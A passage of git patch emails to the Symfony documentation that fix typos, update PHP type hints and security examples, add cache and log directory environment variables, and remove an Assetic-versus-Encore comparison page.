Subject: [PATCH 0830/7107] =?UTF-8?q?Update=20:=20advertize=20=E2=AE=9E=20?=
 =?UTF-8?q?advertise?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 create_framework/introduction.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/create_framework/introduction.rst b/create_framework/introduction.rst
index fa6fe080164..11948890bba 100644
--- a/create_framework/introduction.rst
+++ b/create_framework/introduction.rst
@@ -40,7 +40,7 @@ a fully-featured full-stack web framework.
 
 Each step will be the occasion to learn more about some of the Symfony Components.
 
-Many modern web frameworks advertize themselves as being MVC frameworks. This
+Many modern web frameworks advertise themselves as being MVC frameworks. This
 tutorial won't talk about the MVC pattern, as the Symfony Components are able to
 create any type of frameworks, not just the ones that follow the MVC
 architecture. Anyway, if you have a look at the MVC semantics, this book is

From b15eef1cdd58990cd799438e443fa039ee891ba9 Mon Sep 17 00:00:00 2001
From: Bruno Baguette <1922257+Levure@users.noreply.github.com>
Date: Wed, 10 Jun 2020 18:29:51 +0200
Subject: [PATCH 0831/7107] =?UTF-8?q?Typo=20fix=20:=20shoud=E2=AE=9E=20sho?=
 =?UTF-8?q?uld?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 components/http_client.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/http_client.rst b/components/http_client.rst
index c6fe5c73453..339b1f3bf6f 100644
--- a/components/http_client.rst
+++ b/components/http_client.rst
@@ -706,7 +706,7 @@ regular expression applied to relative URLs::
             ],
         ],
         // this is the index in the previous array that defines
-        // the base URI that shoud be used to resolve relative URLs
+        // the base URI that should be used to resolve relative URLs
         'https://api\.github\.com/'
     );
 

From 545c1270f293b578e09bd25e8ddb84112d1da519 Mon Sep 17 00:00:00 2001
From: Bruno Baguette <1922257+Levure@users.noreply.github.com>
Date: Wed, 10 Jun 2020 18:41:51 +0200
Subject: [PATCH 0832/7107] =?UTF-8?q?Typo=20fix=20:=20propery=20=E2=AE=9E?=
 =?UTF-8?q?=20property?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 reference/constraints/ExpressionLanguageSyntax.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/ExpressionLanguageSyntax.rst b/reference/constraints/ExpressionLanguageSyntax.rst
index 61a32b901e9..2ca0355dfaf 100644
--- a/reference/constraints/ExpressionLanguageSyntax.rst
+++ b/reference/constraints/ExpressionLanguageSyntax.rst
@@ -23,7 +23,7 @@ Basic Usage
 
 The following constraints ensure that:
 
-* the ``promotion`` propery stores a value which is valid as an
+* the ``promotion`` property stores a value which is valid as an
   ExpressionLanguage expression;
 * the ``shippingOptions`` property also ensures that the expression only uses
   certain variables.

From 1b068051fe8a0c5a960b10b35a211767aada7941 Mon Sep 17 00:00:00 2001
From: Bruno Baguette <1922257+Levure@users.noreply.github.com>
Date: Wed, 10 Jun 2020 18:47:48 +0200
Subject: [PATCH 0833/7107] =?UTF-8?q?Typo=20fix=20:=20http-methode-overrid?=
 =?UTF-8?q?e=20=E2=AE=9E=20http-method-override?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 configuration/env_var_processors.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index ceca80957b8..f3d76b19c41 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -124,7 +124,7 @@ Symfony provides the following env var processors:
                     <parameter key="env(HTTP_METHOD_OVERRIDE)">true</parameter>
                 </parameters>
 
-                <framework:config http-methode-override="%env(bool:HTTP_METHOD_OVERRIDE)%"/>
+                <framework:config http-method-override="%env(bool:HTTP_METHOD_OVERRIDE)%"/>
             </container>
 
         .. code-block:: php

From 893e9785f34b33b1376654f1631f44f75453fbc4 Mon Sep 17 00:00:00 2001
From: Bruno Baguette <1922257+Levure@users.noreply.github.com>
Date: Wed, 10 Jun 2020 18:59:36 +0200
Subject: [PATCH 0834/7107] =?UTF-8?q?Added=20missing=20space=20:=20everyti?=
 =?UTF-8?q?me=20=E2=AE=9E=20every=20time?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 form/create_custom_field_type.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index 5698462487e..571b4003fa9 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -19,7 +19,7 @@ be implemented with a :doc:`ChoiceType </reference/forms/types/choice>` where th
 ``choices`` option is set to the list of available shipping options.
 
 However, if you use the same form type in several forms, repeating the list of
-``choices`` everytime you use it quickly becomes boring. In this example, a
+``choices`` every time you use it quickly becomes boring. In this example, a
 better solution is to create a custom form type based on ``ChoiceType``. The
 custom type looks and behaves like a ``ChoiceType`` but the list of choices is
 already populated with the shipping options so you don't need to define them.

From 773f752f1f850db5c338a64f64450aa41033cb24 Mon Sep 17 00:00:00 2001
From: Bruno Baguette <1922257+Levure@users.noreply.github.com>
Date: Wed, 10 Jun 2020 19:08:08 +0200
Subject: [PATCH 0835/7107] Several typo fixes
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

CoucbaseCluster ⮞ CouchbaseCluster
configiration ⮞ configuration
---
 components/cache/adapters/couchbasebucket_adapter.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/cache/adapters/couchbasebucket_adapter.rst b/components/cache/adapters/couchbasebucket_adapter.rst
index 5331f13d8fd..7043a7c3e95 100644
--- a/components/cache/adapters/couchbasebucket_adapter.rst
+++ b/components/cache/adapters/couchbasebucket_adapter.rst
@@ -104,7 +104,7 @@ Available Options
 ~~~~~~~~~~~~~~~~~
 
 ``username`` (type: ``string``)
-    Username for connection ``CoucbaseCluster``.
+    Username for connection ``CouchbaseCluster``.
 
 ``password`` (type: ``string``)
     Password of connection ``CouchbaseCluster``.
@@ -127,7 +127,7 @@ Available Options
 
 ``configDelay`` (type: ``int``, default: ``10000``)
     Config refresh throttling
-    Modify the amount of time (in microseconds) before the configiration error threshold will forcefully be set to its maximum number forcing a configuration refresh.
+    Modify the amount of time (in microseconds) before the configuration error threshold will forcefully be set to its maximum number forcing a configuration refresh.
 
 ``htconfigIdleTimeout`` (type: ``int``, default: ``4294967295``)
     Idling/Persistence for HTTP bootstrap (in microseconds).

From 3041e12706deb4bb60a1da213a424d8e5e5a7e33 Mon Sep 17 00:00:00 2001
From: Bruno Baguette <1922257+Levure@users.noreply.github.com>
Date: Wed, 10 Jun 2020 19:15:00 +0200
Subject: [PATCH 0836/7107] =?UTF-8?q?Typo=20fix=20:=20rolse=20=E2=AE=9E=20?=
 =?UTF-8?q?roles?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 security/access_control.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/access_control.rst b/security/access_control.rst
index f4077728df2..026b8693c00 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -87,7 +87,7 @@ Take the following ``access_control`` entries as an example:
                 ],
                 [
                     'path' => '^/admin',
-                    'rolse' => 'ROLE_USER_HOST',
+                    'roles' => 'ROLE_USER_HOST',
                     'host' => 'symfony\.com$',
                 ],
                 [

From 0be6f2e92f116693a3245efd74be442af66d6c44 Mon Sep 17 00:00:00 2001
From: Myystigri <dorian.walck@gmail.com>
Date: Thu, 11 Jun 2020 00:38:21 +0200
Subject: [PATCH 0837/7107] Update mercure.rst

Update cookie configuration to match new symfony 5.1 methods
https://symfony.com/doc/current/components/http_foundation.html#setting-cookies
---
 mercure.rst | 13 +++++++++----
 1 file changed, 9 insertions(+), 4 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index 6660f6a38f1..0bf9d10aaae 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -402,6 +402,7 @@ And here is the controller::
     use Lcobucci\JWT\Signer\Hmac\Sha256;
     use Lcobucci\JWT\Signer\Key;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Cookie;
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\WebLink\Link;
@@ -419,10 +420,14 @@ And here is the controller::
                 ->getToken(new Sha256(), new Key($this->getParameter('mercure_secret_key'))); // don't forget to set this parameter! Test value: !ChangeMe!
 
             $response = $this->json(['@id' => '/demo/books/1', 'availability' => 'https://schema.org/InStock']);
-            $response->headers->set(
-                'set-cookie',
-                sprintf('mercureAuthorization=%s; path=/.well-known/mercure; secure; httponly; SameSite=strict', $token)
-            );
+            $cookie = Cookie::create('mercureAuthorization')
+                ->withValue($token)
+                ->withPath('/.well-known/mercure')
+                ->withSecure(true)
+                ->withHttpOnly(true)
+                ->withSameSite('strict')
+            ;
+            $response->headers->setCookie($cookie);
 
             return $response;
         }

From 4fa342309b1408563e2491925685aba62e6d7532 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 11 Jun 2020 08:51:29 +0200
Subject: [PATCH 0838/7107] Remove a word from the spelling list

---
 _build/spelling_word_list.txt | 1 -
 1 file changed, 1 deletion(-)

diff --git a/_build/spelling_word_list.txt b/_build/spelling_word_list.txt
index 10a9c2896e1..3b1d630fa11 100644
--- a/_build/spelling_word_list.txt
+++ b/_build/spelling_word_list.txt
@@ -1,5 +1,4 @@
 accessor
-advertize
 Akamai
 analytics
 Ansi

From e22172acdbce9664766dbf06c0d8d03ba00296e6 Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Thu, 11 Jun 2020 17:07:06 +0200
Subject: [PATCH 0839/7107] Update authentication.rst

---
 components/security/authentication.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/security/authentication.rst b/components/security/authentication.rst
index 331308bdfcf..bba35d08c7b 100644
--- a/components/security/authentication.rst
+++ b/components/security/authentication.rst
@@ -278,7 +278,7 @@ The security component provides the following authentication events:
 ===============================  ================================================================= ==============================================================================
 Name                             Event Constant                                                    Argument Passed to the Listener
 ===============================  ================================================================= ==============================================================================
-security.authentication.success  ``AuthenticationEvents::AUTHENTICATION_SUCCESS``                  :class:`Symfony\\Component\\Security\\Core\\Event\\AuthenticationEvent`
+security.authentication.success  ``AuthenticationEvents::AUTHENTICATION_SUCCESS``                  :class:`Symfony\\Component\\Security\\Core\\Event\\AuthenticationSuccessEvent`
 security.authentication.failure  ``AuthenticationEvents::AUTHENTICATION_FAILURE``                  :class:`Symfony\\Component\\Security\\Core\\Event\\AuthenticationFailureEvent`
 security.interactive_login       ``SecurityEvents::INTERACTIVE_LOGIN``                             :class:`Symfony\\Component\\Security\\Http\\Event\\InteractiveLoginEvent`
 security.switch_user             ``SecurityEvents::SWITCH_USER``                                   :class:`Symfony\\Component\\Security\\Http\\Event\\SwitchUserEvent`

From 4ab0b54328fd03ece3379d821f19556469b9fd82 Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Thu, 11 Jun 2020 20:11:47 +0200
Subject: [PATCH 0840/7107] Update authorization.rst

---
 components/security/authorization.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/security/authorization.rst b/components/security/authorization.rst
index 944ea03b371..8f1ef752f94 100644
--- a/components/security/authorization.rst
+++ b/components/security/authorization.rst
@@ -123,7 +123,7 @@ RoleVoter
 The :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\RoleVoter`
 supports attributes starting with ``ROLE_`` and grants access to the user
 when at least one required ``ROLE_*`` attribute can be found in the array of
-roles returned by the token's :method:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\TokenInterface::getRoles`
+roles returned by the token's :method:`Symfony\\Component\\Security\\Core\\Authentication\\Token\\TokenInterface::getRoleNames`
 method::
 
     use Symfony\Component\Security\Core\Authorization\Voter\RoleVoter;

From 5b032d068caa2f63325204b59ce0fcf385e05a17 Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Thu, 11 Jun 2020 20:26:29 +0200
Subject: [PATCH 0841/7107] Update authorization.rst

---
 components/security/authorization.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/security/authorization.rst b/components/security/authorization.rst
index 944ea03b371..802dbf03e1d 100644
--- a/components/security/authorization.rst
+++ b/components/security/authorization.rst
@@ -185,7 +185,7 @@ expressions have access to a number of
     $object = ...;
 
     $expression = new Expression(
-        '"ROLE_ADMIN" in roles or (not is_anonymous() and user.isSuperAdmin())'
+        '"ROLE_ADMIN" in role_names or (not is_anonymous() and user.isSuperAdmin())'
     )
 
     $vote = $expressionVoter->vote($token, $object, [$expression]);

From ed0b98fccdc002fd758764806c5e22c56870bf6f Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Thu, 11 Jun 2020 21:51:14 +0200
Subject: [PATCH 0842/7107] Update voters.rst

---
 security/voters.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/security/voters.rst b/security/voters.rst
index 5d9d7b08d13..a01fcb463a0 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -118,7 +118,7 @@ would look like this::
         const VIEW = 'view';
         const EDIT = 'edit';
 
-        protected function supports($attribute, $subject)
+        protected function supports(string $attribute, $subject)
         {
             // if the attribute isn't one we support, return false
             if (!in_array($attribute, [self::VIEW, self::EDIT])) {
@@ -133,7 +133,7 @@ would look like this::
             return true;
         }
 
-        protected function voteOnAttribute($attribute, $subject, TokenInterface $token)
+        protected function voteOnAttribute(string $attribute, $subject, TokenInterface $token)
         {
             $user = $token->getUser();
 
@@ -178,7 +178,7 @@ That's it! The voter is done! Next, :ref:`configure it <declaring-the-voter-as-a
 
 To recap, here's what's expected from the two abstract methods:
 
-``Voter::supports($attribute, $subject)``
+``Voter::supports(string $attribute, $subject)``
     When ``isGranted()`` (or ``denyAccessUnlessGranted()``) is called, the first
     argument is passed here as ``$attribute`` (e.g. ``ROLE_USER``, ``edit``) and
     the second argument (if any) is passed as ``$subject`` (e.g. ``null``, a ``Post``
@@ -188,7 +188,7 @@ To recap, here's what's expected from the two abstract methods:
     return ``true`` if the attribute is ``view`` or ``edit`` and if the object is
     a ``Post`` instance.
 
-``voteOnAttribute($attribute, $subject, TokenInterface $token)``
+``voteOnAttribute(string $attribute, $subject, TokenInterface $token)``
     If you return ``true`` from ``supports()``, then this method is called. Your
     job is simple: return ``true`` to allow access and ``false`` to deny access.
     The ``$token`` can be used to find the current user object (if any). In this
@@ -231,7 +231,7 @@ with ``ROLE_SUPER_ADMIN``::
             $this->security = $security;
         }
 
-        protected function voteOnAttribute($attribute, $subject, TokenInterface $token)
+        protected function voteOnAttribute(string $attribute, $subject, TokenInterface $token)
         {
             // ...
 

From fbcb1116851817c677433aa47a57e7eb5ee7570f Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Thu, 11 Jun 2020 23:40:29 +0200
Subject: [PATCH 0843/7107] Update firewall.rst

---
 components/security/firewall.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/security/firewall.rst b/components/security/firewall.rst
index 53bd823ad3f..f2ef3d4f67b 100644
--- a/components/security/firewall.rst
+++ b/components/security/firewall.rst
@@ -100,7 +100,7 @@ entry point and access denied URL, is provided by instances of the
 :class:`Symfony\\Bundle\\SecurityBundle\\Security\\FirewallConfig` class.
 
 This object can be accessed through the ``getFirewallConfig(Request $request)``
-method of the :class:`Symfony\\Component\\Security\\Http\\FirewallMap` class and
+method of the :class:`Symfony\\Bundle\\SecurityBundle\\Security\\FirewallMap` class and
 through the ``getConfig()``  method of the
 :class:`Symfony\\Bundle\\SecurityBundle\\Security\\FirewallContext` class.
 

From 3f71378b455d43f91e42e9cc4029e96cfc46c66b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 12 Jun 2020 10:58:46 +0200
Subject: [PATCH 0844/7107] Removed the file comparing Assetic and Encore

---
 _build/redirection_map                |  1 +
 frontend.rst                          |  1 -
 frontend/encore/versus-assetic.rst    | 56 ---------------------------
 reference/configuration/framework.rst |  2 +-
 4 files changed, 2 insertions(+), 58 deletions(-)
 delete mode 100644 frontend/encore/versus-assetic.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index d617999f0b3..0253b19c3da 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -503,3 +503,4 @@
 /components/templating https://github.com/symfony/templating
 /components/error_handler https://github.com/symfony/error-handler
 /components/class_loader https://github.com/symfony/class-loader
+/frontend/encore/versus-assetic /frontend
diff --git a/frontend.rst b/frontend.rst
index 023c81f70b6..e05f26ed314 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -80,7 +80,6 @@ Issues & Questions
 ..................
 
 * :doc:`FAQ & Common Issues </frontend/encore/faq>`
-* :doc:`/frontend/encore/versus-assetic`
 
 Full API
 ........
diff --git a/frontend/encore/versus-assetic.rst b/frontend/encore/versus-assetic.rst
deleted file mode 100644
index 650ade4e0f3..00000000000
--- a/frontend/encore/versus-assetic.rst
+++ /dev/null
@@ -1,56 +0,0 @@
-Encore Versus Assetic?
-======================
-
-Symfony originally shipped with support for :doc:`Assetic </frontend/assetic/index>`: a
-pure PHP library capable of processing, combining and minifying CSS and JavaScript
-files. And while Encore is now the recommended way of processing your assets, Assetic
-still works well.
-
-So what are the differences between Assetic and Encore?
-
-+----------------------------------+-------------------------------+-------------------------+
-|                                  | Assetic                       | Encore                  +
-+----------------------------------+-------------------------------+-------------------------+
-| Language                         | Pure PHP, relies on other     | Node.js                 |
-|                                  | language tools for some tasks |                         |
-+----------------------------------+-------------------------------+-------------------------+
-| Combine assets?                  | Yes                           | Yes                     |
-+----------------------------------+-------------------------------+-------------------------+
-| Minify assets?                   | Yes (when configured)         | Yes (out-of-the-box)    |
-+----------------------------------+-------------------------------+-------------------------+
-| Process Sass/Less?               | Yes                           | Yes                     |
-+----------------------------------+-------------------------------+-------------------------+
-| Loads JS Modules? [1]_           | No                            | Yes                     |
-+----------------------------------+-------------------------------+-------------------------+
-| Load CSS dependencies in JS? [1] | No                            | Yes                     |
-+----------------------------------+-------------------------------+-------------------------+
-| React, Vue.js support?           | No [2]_                       | Yes                     |
-+----------------------------------+-------------------------------+-------------------------+
-| Support                          | Not actively maintained       | Actively maintained     |
-+----------------------------------+-------------------------------+-------------------------+
-
-.. [1] JavaScript modules allow you to organize your JavaScript into small files
-       called modules and import them:
-
-       .. code-block:: javascript
-
-           // require third-party modules
-           var $ = require('jquery');
-
-           // require your own CoolComponent.js modules
-           var coolComponent = require('./components/CoolComponent');
-
-       Encore (via Webpack) parses these automatically and creates a JavaScript
-       file that contains all needed dependencies. You can even require CSS or
-       images.
-
-.. [2] Assetic has outdated support for React.js only. Encore ships with modern
-       support for React.js, Vue.js, TypeScript, etc.
-
-Should I Upgrade from Assetic to Encore
----------------------------------------
-
-If you already have Assetic working in an application, and haven't needed any of
-the features that Encore offers over Assetic, continuing to use Assetic is fine.
-If you *do* start to need more features, then you might have a business case for
-changing to Encore.
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 2c6a9aad446..881b4815ba8 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1710,7 +1710,7 @@ version
 This option is used to *bust* the cache on assets by globally adding a query
 parameter to all rendered asset paths (e.g. ``/images/logo.png?v2``). This
 applies only to assets rendered via the Twig ``asset()`` function (or PHP
-equivalent) as well as assets rendered with Assetic.
+equivalent).
 
 For example, suppose you have the following:
 

From 2c19997c5d933a9a57b503c54247654614682901 Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Fri, 12 Jun 2020 21:08:24 +0200
Subject: [PATCH 0845/7107] Update access_control.rst

---
 security/access_control.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/access_control.rst b/security/access_control.rst
index 88f5a631b88..e24d9bd83f7 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -320,7 +320,7 @@ key:
                     // the 'role' and 'allow-if' options work like an OR expression, so
                     // access is granted if the expression is TRUE or the user has ROLE_ADMIN
                     'roles' => 'ROLE_ADMIN',
-                    'allow_if' => '"127.0.0.1" == request.getClientIp() or request.headers.has('X-Secure-Access')',
+                    'allow_if' => '"127.0.0.1" == request.getClientIp() or request.headers.has("X-Secure-Access")',
                 ],
             ],
 

From 520bad375d210ce60d0d5fedd59a5a2ae20c72d2 Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Fri, 12 Jun 2020 21:41:20 +0200
Subject: [PATCH 0846/7107] Update access_denied_handler.rst

---
 security/access_denied_handler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/access_denied_handler.rst b/security/access_denied_handler.rst
index bb55d4f6c83..34a2d4cf72b 100644
--- a/security/access_denied_handler.rst
+++ b/security/access_denied_handler.rst
@@ -50,7 +50,7 @@ configure it under your firewall:
 
         <config>
             <firewall name="main">
-                <access_denied_handler>AppBundle\Security\AccessDeniedHandler</access_denied_handler>
+                <access-denied-handler>AppBundle\Security\AccessDeniedHandler</access-denied-handler>
             </firewall>
         </config>
 

From 4e4d8388d05560110138a71cf9f560e54f065ffe Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Fri, 12 Jun 2020 23:27:39 +0200
Subject: [PATCH 0847/7107] Update custom_authentication_provider.rst

---
 security/custom_authentication_provider.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/custom_authentication_provider.rst b/security/custom_authentication_provider.rst
index d0db9c91168..7e9e5f1046d 100644
--- a/security/custom_authentication_provider.rst
+++ b/security/custom_authentication_provider.rst
@@ -307,7 +307,7 @@ create a class which implements
 
     class WsseFactory implements SecurityFactoryInterface
     {
-        public function create(ContainerBuilder $container, $id, $config, $userProvider, $defaultEntryPoint)
+        public function create(ContainerBuilder $container, string $id, array $config, string $userProvider, ?string $defaultEntryPoint)
         {
             $providerId = 'security.authentication.provider.wsse.'.$id;
             $container
@@ -560,7 +560,7 @@ in order to put it to use::
 
     class WsseFactory implements SecurityFactoryInterface
     {
-        public function create(ContainerBuilder $container, $id, $config, $userProvider, $defaultEntryPoint)
+        public function create(ContainerBuilder $container, string $id, array $config, string $userProvider, ?string $defaultEntryPoint)
         {
             $providerId = 'security.authentication.provider.wsse.'.$id;
             $container

From b92b0f04a8463959ec9060251ff3f7b5d61b7a66 Mon Sep 17 00:00:00 2001
From: Ahmed TAILOULOUTE <ahmed.tailouloute@gmail.com>
Date: Fri, 12 Jun 2020 23:36:46 +0200
Subject: [PATCH 0848/7107] Update expressions.rst

---
 security/expressions.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/expressions.rst b/security/expressions.rst
index 2013d6656d7..fefee9bac17 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -18,7 +18,7 @@ accepts an :class:`Symfony\\Component\\ExpressionLanguage\\Expression` object::
     public function index()
     {
         $this->denyAccessUnlessGranted(new Expression(
-            '"ROLE_ADMIN" in roles or (not is_anonymous() and user.isSuperAdmin())'
+            '"ROLE_ADMIN" in role_names or (not is_anonymous() and user.isSuperAdmin())'
         ));
 
         // ...

From 88b081c1c7b80d22e54301d9eda5866bac097977 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Morel=20Se=CC=81bastien?= <morel.seb@gmail.com>
Date: Thu, 11 Jun 2020 12:36:17 -0700
Subject: [PATCH 0849/7107] Provides a way to override cache and log folders
 from the ENV

---
 configuration/override_dir_structure.rst | 17 ++++++++++++-----
 1 file changed, 12 insertions(+), 5 deletions(-)

diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index fbfa119cc14..f06d55c913b 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -41,8 +41,8 @@ at your project root directory.
 Override the Cache Directory
 ----------------------------
 
-You can change the default cache directory by overriding the ``getCacheDir()``
-method in the ``Kernel`` class of your application::
+Changing the cache directory can be achieved by overriding the
+``getCacheDir()`` method in the ``Kernel`` class of your application::
 
     // src/Kernel.php
 
@@ -61,6 +61,9 @@ In this code, ``$this->environment`` is the current environment (i.e. ``dev``).
 In this case you have changed the location of the cache directory to
 ``var/{environment}/cache/``.
 
+This can also be achieved using a predefined environment variable named
+``APP_CACHE_DIR``. Its value must be the full path of the cache folder.
+
 .. caution::
 
     You should keep the cache directory different for each environment,
@@ -73,9 +76,11 @@ In this case you have changed the location of the cache directory to
 Override the Log Directory
 --------------------------
 
-Overriding the ``var/log/`` directory is the same as overriding the ``var/cache/``
-directory. The only difference is that you need to override the ``getLogDir()``
-method::
+Overriding the ``var/log/`` directory is almost the same as overriding the
+``var/cache/`` directory.
+
+You can do it overriding the ``getLogDir()`` method in the ``Kernel`` class of
+your application::
 
     // src/Kernel.php
 
@@ -92,6 +97,8 @@ method::
 
 Here you have changed the location of the directory to ``var/{environment}/log/``.
 
+And you can also do it using the predefined ``APP_LOG_DIR`` environment variable.
+
 .. _override-templates-dir:
 
 Override the Templates Directory

From d80dbb4deebe1e88629d8477f747cc1fa894d072 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 12 Jun 2020 11:09:07 +0200
Subject: [PATCH 0850/7107] Improve the Best Practice about forms with multiple
 buttons

---
 best_practices.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/best_practices.rst b/best_practices.rst
index 26fc1a0420f..004810a0c5c 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -299,6 +299,10 @@ to add buttons in the templates. This also improves the separation of concerns,
 because the button styling (CSS class and other attributes) is defined in the
 template instead of in a PHP class.
 
+However, if you create a :doc:`form with multiple submit buttons </form/multiple_buttons>`
+you should define them in the controller instead of the template. Otherwise, you
+won't be able to check which button was clicked when handling the form in the controller.
+
 Define Validation Constraints on the Underlying Object
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 5e649d55db857c9786039c89f2511f1e5e8a6d7d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 13 Jun 2020 17:17:33 +0200
Subject: [PATCH 0851/7107] Minor tweaks

---
 configuration/override_dir_structure.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index f06d55c913b..d09916daae7 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -61,8 +61,8 @@ In this code, ``$this->environment`` is the current environment (i.e. ``dev``).
 In this case you have changed the location of the cache directory to
 ``var/{environment}/cache/``.
 
-This can also be achieved using a predefined environment variable named
-``APP_CACHE_DIR``. Its value must be the full path of the cache folder.
+You can also change the cache directory defining an environment variable named
+``APP_CACHE_DIR`` whose value is the full path of the cache folder.
 
 .. caution::
 
@@ -97,7 +97,8 @@ your application::
 
 Here you have changed the location of the directory to ``var/{environment}/log/``.
 
-And you can also do it using the predefined ``APP_LOG_DIR`` environment variable.
+You can also change the log directory defining an environment variable named
+``APP_LOG_DIR`` whose value is the full path of the log folder.
 
 .. _override-templates-dir:
 

From 64b21de6ba16b10ae2a359ea29605b1aa9af424b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 12 Jun 2020 10:36:38 +0200
Subject: [PATCH 0852/7107] [Security] Documented
 CustomUserMessageAccountStatusException

---
 security/user_checkers.rst | 18 ++++++++++++------
 1 file changed, 12 insertions(+), 6 deletions(-)

diff --git a/security/user_checkers.rst b/security/user_checkers.rst
index 25a9dba01a0..9ded2a00449 100644
--- a/security/user_checkers.rst
+++ b/security/user_checkers.rst
@@ -15,15 +15,17 @@ User checkers are classes that must implement the
 :class:`Symfony\\Component\\Security\\Core\\User\\UserCheckerInterface`. This interface
 defines two methods called ``checkPreAuth()`` and ``checkPostAuth()`` to
 perform checks before and after user authentication. If one or more conditions
-are not met, an exception should be thrown which extends the
-:class:`Symfony\\Component\\Security\\Core\\Exception\\AccountStatusException`
-or :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationException`::
+are not met, throw an exception which extends the
+:class:`Symfony\\Component\\Security\\Core\\Exception\\AccountStatusException` class.
+Consider using :class:`Symfony\\Component\\Security\\Core\\Exception\\CustomUserMessageAccountStatusException`,
+which extends ``AccountStatusException`` and allows to customize the error message
+displayed to the user::
 
     namespace App\Security;
 
-    use App\Exception\AccountDeletedException;
     use App\Security\User as AppUser;
     use Symfony\Component\Security\Core\Exception\AccountExpiredException;
+    use Symfony\Component\Security\Core\Exception\CustomUserMessageAccountStatusException;
     use Symfony\Component\Security\Core\User\UserCheckerInterface;
     use Symfony\Component\Security\Core\User\UserInterface;
 
@@ -35,9 +37,9 @@ or :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationExceptio
